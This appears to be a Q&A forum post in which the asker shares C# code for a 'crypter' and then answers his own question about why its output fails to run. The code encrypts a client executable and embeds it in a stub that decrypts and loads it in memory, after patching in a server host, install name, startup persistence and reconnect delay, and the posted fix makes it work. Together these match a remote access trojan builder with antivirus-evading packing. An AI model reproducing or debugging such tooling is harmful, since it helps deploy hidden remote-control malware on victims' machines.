Matthias Hoste
Matthias Hoste

Reputation: 125

Changed .net exe doesnt run

So I have my project for the company, we change specific details in the exe according to the user that will be using it. To make this a lot easier we use Mono.Cecil and we then convert the exe to a base64 string and encrypt it. Then we put the encrypted string and password in a stub file which we compile:

using System;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;

namespace ConsoleApp1
{
class Program
{
    private static readonly string CData = "[BIN-DATA]";
    private static readonly string CDPWS = "[PASSWORD]";
    static void Main(string[] args)
    {
        Assembly a = Assembly.Load(AESDecrypt(Convert.FromBase64String(CData), CDPWS));
        MethodInfo entry = a.EntryPoint;
        ParameterInfo[] i = entry.GetParameters();
        entry.Invoke(null, null);
        Console.ReadLine();
    }
    public static byte[] AESDecrypt(byte[] input, string Pass)
    {
        RijndaelManaged AES = new RijndaelManaged();
        byte[] hash = new byte[32];
        byte[] temp = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(Pass));
        Array.Copy(temp, 0, hash, 0, 16);
        Array.Copy(temp, 0, hash, 15, 16);
        AES.Key = hash;
        AES.Mode = CipherMode.ECB;
        ICryptoTransform DESDecrypter = AES.CreateDecryptor();
        return DESDecrypter.TransformFinalBlock(input, 0, input.Length);
    }
}
}

When we compile this using this:

public class ClientCrypter
{
    private readonly string Stub = Properties.Resources.stub;
    public ClientCrypter(byte[] bytes, BuildOptions options)
    {
        var pw = RandomString(25);
        //Stub = Stub.Replace("\r\n", string.Empty);
        Stub = Stub.Replace("[BIN-DATA]", Convert.ToBase64String(AESEncrypt(bytes, pw)));
        Stub = Stub.Replace("[PASSWORD]", pw);
        CompilerParameters CParams = new CompilerParameters();

        CParams.GenerateExecutable = true;
        CParams.OutputAssembly = options.OutputPath;

        string _coptions = "/platform:x86 /target:winexe /unsafe";

        CParams.CompilerOptions = _coptions;
        CParams.TreatWarningsAsErrors = false;

        CParams.ReferencedAssemblies.Add("System.dll");
        CParams.ReferencedAssemblies.Add("System.Data.dll");
        Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
        ProviderOptions.Add("CompilerVersion", "v2.0");

        CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, Stub);
        if(Results.Errors.Count != 0)
        {
            Console.WriteLine("ERROR");
        }
    }
    private string RandomString(int length)
    {
        string pool = "abcdefghijklmnopqrstuvwxyz0123456789";
        pool += pool.ToUpper();
        string tmp = "";
        Random R = new Random();
        for (int x = 0; x < length; x++)
        {
            tmp += pool[R.Next(0, pool.Length)].ToString();
        }
        return tmp;
    }
    private static byte[] AESEncrypt(byte[] input, string Pass)
    {
        RijndaelManaged AES = new RijndaelManaged();
        byte[] hash = new byte[32];
        byte[] temp = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(Pass));
        Array.Copy(temp, 0, hash, 0, 16);
        Array.Copy(temp, 0, hash, 15, 16);
        AES.Key = hash;
        AES.Mode = CipherMode.ECB;
        ICryptoTransform DESEncrypter = AES.CreateEncryptor();
        return DESEncrypter.TransformFinalBlock(input, 0, input.Length);
    }
}

and when we run the resulting exe it fails with the message:

Description:
  Stopped working

Problem signature:
  Problem Event Name:   CLR20r3
  Problem Signature 01: final-crypt.exe
  Problem Signature 02: 0.0.0.0
  Problem Signature 03: 59b5a7db
  Problem Signature 04: mscorlib
  Problem Signature 05: 2.0.0.0
  Problem Signature 06: 55f8f105
  Problem Signature 07: f52
  Problem Signature 08: 7
  Problem Signature 09: N3CTRYE2KN3C34SGL4ZQYRBFTE4M13NB
  OS Version:   6.1.7601.2.1.0.256.4
  Locale ID:    1033

But when I open the ConsoleApp1 project that should load the exe in visualstudio and provide the correct CData and CDPWS from a generated exe and run that it runs without any problem, tried to run it as admin and tried to look all over google but I couldnt find a solution for this. Could you point me in the right way?

Thanks

EDIT: Here is part of the class that changes the exe(before encryption) using Mono.Cecil:

public static class ClientBuilder
{
    public static void Build(BuildOptions options)
    {
        // PHASE 1 - Settings
        string encKey = FileHelper.GetRandomFilename(20), key, authKey;
        CryptographyHelper.DeriveKeys(options.Password, out key, out authKey);
        AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("DM_Client.bin");

        foreach (var typeDef in asmDef.Modules[0].Types)
        {
            if (typeDef.FullName == "DM_Client.Config.Settings")
            {
                foreach (var methodDef in typeDef.Methods)
                {
                    if (methodDef.Name == ".cctor")
                    {
                        int strings = 1, bools = 1;

                        for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
                        {
                            if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
                            {
                                switch (strings)
                                {
                                    case 1: //version
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
                                        break;
                                    case 2: //ip/hostname of server
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
                                        break;
                                    case 3: //user key
                                        methodDef.Body.Instructions[i].Operand = key;
                                        break;
                                    case 4: //authentication key
                                        methodDef.Body.Instructions[i].Operand = authKey;
                                        break;
                                    case 5: //installsub
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
                                        break;
                                    case 6: //installname
                                        methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
                                        break;
                                }
                                strings++;
                            }
                            else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
                                     methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
                            {
                                switch (bools)
                                {
                                    case 1: //install
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
                                        break;
                                    case 2: //startup
                                        methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
                                        break;
                                }
                                bools++;
                            }
                            else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
                            {
                                //reconnectdelay
                                methodDef.Body.Instructions[i].Operand = options.Delay;
                            }
                            else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
                            {
                                methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
                            }
                        }
                    }
                }
            }
        }
        ClientCrypter C = new ClientCrypter(File.ReadAllBytes(options.OutputPath), options);
    }
    private static OpCode BoolOpcode(bool p)
    {
        return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0;
    }
}

EDIT: if you decide to downvote, okay. But please take the time to tell me why you decided to downvote, so I can improve. Thank you

Upvotes: 0

Views: 89

Answers (1)

Matthias Hoste
Matthias Hoste

Reputation: 125

So I decided to take a look again at how I compile it in the ClientCrypter class. And was thinking if different compiler options could cause this problem. And came to the conclusion that removing the line:

ProviderOptions.Add("CompilerVersion", "v2.0");

Fixed the issue and the application ran and worked

Upvotes: 1

Related Questions